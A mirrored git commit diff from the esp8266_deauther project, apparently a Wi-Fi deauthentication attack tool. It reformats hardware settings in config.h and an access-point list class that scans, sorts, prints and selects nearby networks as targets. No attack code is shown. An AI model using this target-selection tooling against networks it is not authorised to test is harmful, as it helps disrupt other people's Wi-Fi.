mirror of
https://github.com/SpacehuhnTech/esp8266_deauther.git
synced 2025-12-21 23:01:00 -08:00
Beautified stuff
This commit is contained in:
@@ -1,81 +1,85 @@
|
||||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define DIGITAL_LED
|
||||
// #define RGB_LED
|
||||
// #define NEOPIXEL_LED
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 14
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 13
|
||||
|
||||
// #define BUTTON_LEFT 12
|
||||
// #define BUTTON_RIGHT 13
|
||||
// #define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
*/
|
||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
// #define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
// #define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
// #define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
|
||||
|
||||
// #define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif // ifndef config_h
|
||||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
//#define NEOPIXEL_LED
|
||||
|
||||
#define HIGHLIGHT_LED 16
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRBW + NEO_KHZ800
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_GRBW Pixels are wired for GRBW bitstream
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
0x3c = I2C address
|
||||
SDA = GPIO 5 (D1)
|
||||
SCL/SCK = GPIO 4 (D2) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
||||
|
||||
@@ -1,307 +1,311 @@
|
||||
#include "Accesspoints.h"
|
||||
|
||||
Accesspoints::Accesspoints() {
|
||||
list = new SimpleList<AP>;
|
||||
}
|
||||
|
||||
void Accesspoints::sort() {
|
||||
list->setCompare([](AP & a, AP & b) -> int {
|
||||
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
|
||||
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::sortAfterChannel() {
|
||||
list->setCompare([](AP & a, AP & b) -> int {
|
||||
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
|
||||
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::add(uint8_t id, bool selected) {
|
||||
list->add(AP{ id, selected });
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::printAll() {
|
||||
prntln(AP_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(AP_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Accesspoints::printSelected() {
|
||||
prntln(AP_HEADER);
|
||||
int max = selected();
|
||||
|
||||
if (selected() == 0) {
|
||||
prntln(AP_NO_AP_SELECTED);
|
||||
return;
|
||||
}
|
||||
int c = count();
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(AP_TABLE_HEADER);
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) {
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getSSID(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
if (getHidden(num)) {
|
||||
return str(AP_HIDDEN);
|
||||
} else {
|
||||
String ssid = WiFi.SSID(getID(num));
|
||||
ssid = ssid.substring(0, 32);
|
||||
ssid = fixUtf8(ssid);
|
||||
return ssid;
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.channel(getID(num));
|
||||
}
|
||||
|
||||
int Accesspoints::getRSSI(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.RSSI(getID(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getEnc(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.encryptionType(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getEncStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
switch (getEnc(num)) {
|
||||
case ENC_TYPE_NONE:
|
||||
return String(DASH);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_WEP:
|
||||
return str(AP_WEP);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_TKIP:
|
||||
return str(AP_WPA);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_CCMP:
|
||||
return str(AP_WPA2);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_AUTO:
|
||||
return str(AP_AUTO);
|
||||
|
||||
break;
|
||||
}
|
||||
return String(QUESTIONMARK);
|
||||
}
|
||||
|
||||
String Accesspoints::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint8_t* Accesspoints::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Accesspoints::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(getMac(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getHidden(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return WiFi.isHidden(getID(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getID(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return list->get(num).id;
|
||||
}
|
||||
|
||||
void Accesspoints::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
|
||||
prnt(AP_SELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
|
||||
prnt(AP_DESELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(AP_REMOVED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
internal_remove(num);
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::select(String ssid) {
|
||||
for(int i=0;i<list->size();i++){
|
||||
if(getSSID(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(String ssid) {
|
||||
for(int i=0;i<list->size();i++){
|
||||
if(getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::remove(String ssid) {
|
||||
for(int i=0;i<list->size();i++){
|
||||
if(getSSID(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::selectAll() {
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
|
||||
prntln(AP_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselectAll() {
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
|
||||
prntln(AP_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::removeAll() {
|
||||
while (count() > 0) internal_remove(0);
|
||||
prntln(AP_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Accesspoints::find(uint8_t id) {
|
||||
int s = list->size();
|
||||
|
||||
for (int i = 0; i < s; i++) {
|
||||
if (list->get(i).id == id) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int Accesspoints::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Accesspoints::selected() {
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
|
||||
return c;
|
||||
}
|
||||
|
||||
bool Accesspoints::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(AP_NO_AP_ERROR);
|
||||
prntln((String)num);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Accesspoints::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Accesspoints::internal_select(int num) {
|
||||
list->replace(num, AP{ list->get(num).id, true });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_deselect(int num) {
|
||||
list->replace(num, AP{ list->get(num).id, false });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
#include "Accesspoints.h"
|
||||
|
||||
Accesspoints::Accesspoints() {
|
||||
list = new SimpleList<AP>;
|
||||
}
|
||||
|
||||
void Accesspoints::sort() {
|
||||
list->setCompare([](AP& a, AP& b) -> int {
|
||||
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
|
||||
|
||||
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::sortAfterChannel() {
|
||||
list->setCompare([](AP& a, AP& b) -> int {
|
||||
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
|
||||
|
||||
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::add(uint8_t id, bool selected) {
|
||||
list->add(AP{ id, selected });
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::printAll() {
|
||||
prntln(AP_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(AP_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Accesspoints::printSelected() {
|
||||
prntln(AP_HEADER);
|
||||
int max = selected();
|
||||
|
||||
if (selected() == 0) {
|
||||
prntln(AP_NO_AP_SELECTED);
|
||||
return;
|
||||
}
|
||||
int c = count();
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(AP_TABLE_HEADER);
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) {
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getSSID(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
if (getHidden(num)) {
|
||||
return str(AP_HIDDEN);
|
||||
} else {
|
||||
String ssid = WiFi.SSID(getID(num));
|
||||
ssid = ssid.substring(0, 32);
|
||||
ssid = fixUtf8(ssid);
|
||||
return ssid;
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.channel(getID(num));
|
||||
}
|
||||
|
||||
int Accesspoints::getRSSI(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.RSSI(getID(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getEnc(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.encryptionType(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getEncStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
switch (getEnc(num)) {
|
||||
case ENC_TYPE_NONE:
|
||||
return String(DASH);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_WEP:
|
||||
return str(AP_WEP);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_TKIP:
|
||||
return str(AP_WPA);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_CCMP:
|
||||
return str(AP_WPA2);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_AUTO:
|
||||
return str(AP_AUTO);
|
||||
|
||||
break;
|
||||
}
|
||||
return String(QUESTIONMARK);
|
||||
}
|
||||
|
||||
String Accesspoints::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint8_t* Accesspoints::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Accesspoints::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(getMac(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getHidden(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return WiFi.isHidden(getID(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getID(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return list->get(num).id;
|
||||
}
|
||||
|
||||
void Accesspoints::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
|
||||
prnt(AP_SELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
|
||||
prnt(AP_DESELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(AP_REMOVED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
internal_remove(num);
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::select(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::remove(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::selectAll() {
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
|
||||
prntln(AP_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselectAll() {
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
|
||||
prntln(AP_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::removeAll() {
|
||||
while (count() > 0) internal_remove(0);
|
||||
prntln(AP_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Accesspoints::find(uint8_t id) {
|
||||
int s = list->size();
|
||||
|
||||
for (int i = 0; i < s; i++) {
|
||||
if (list->get(i).id == id) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int Accesspoints::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Accesspoints::selected() {
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
|
||||
return c;
|
||||
}
|
||||
|
||||
bool Accesspoints::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(AP_NO_AP_ERROR);
|
||||
prntln((String)num);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Accesspoints::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Accesspoints::internal_select(int num) {
|
||||
list->replace(num, AP{ list->get(num).id, true });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_deselect(int num) {
|
||||
list->replace(num, AP{ list->get(num).id, false });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
@@ -1,81 +1,81 @@
|
||||
#ifndef Accesspoints_h
|
||||
#define Accesspoints_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Names.h"
|
||||
|
||||
extern Names names;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String fixUtf8(String str);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
|
||||
struct AP {
|
||||
uint8_t id;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
class Accesspoints {
|
||||
public:
|
||||
Accesspoints();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void add(uint8_t id, bool selected);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
String getSSID(int num);
|
||||
String getNameStr(int num);
|
||||
String getEncStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
uint8_t getEnc(int num);
|
||||
uint8_t getID(int num);
|
||||
int getRSSI(int num);
|
||||
uint8_t* getMac(int num);
|
||||
bool getHidden(int num);
|
||||
bool getSelected(int num);
|
||||
|
||||
int find(uint8_t id);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
SimpleList<AP>* list;
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_remove(int num);
|
||||
};
|
||||
|
||||
#endif // ifndef Accesspoints_h
|
||||
#ifndef Accesspoints_h
|
||||
#define Accesspoints_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Names.h"
|
||||
|
||||
extern Names names;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String fixUtf8(String str);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
|
||||
struct AP {
|
||||
uint8_t id;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
class Accesspoints {
|
||||
public:
|
||||
Accesspoints();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void add(uint8_t id, bool selected);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
String getSSID(int num);
|
||||
String getNameStr(int num);
|
||||
String getEncStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
uint8_t getEnc(int num);
|
||||
uint8_t getID(int num);
|
||||
int getRSSI(int num);
|
||||
uint8_t* getMac(int num);
|
||||
bool getHidden(int num);
|
||||
bool getSelected(int num);
|
||||
|
||||
int find(uint8_t id);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
SimpleList<AP>* list;
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_remove(int num);
|
||||
};
|
||||
|
||||
#endif // ifndef Accesspoints_h
|
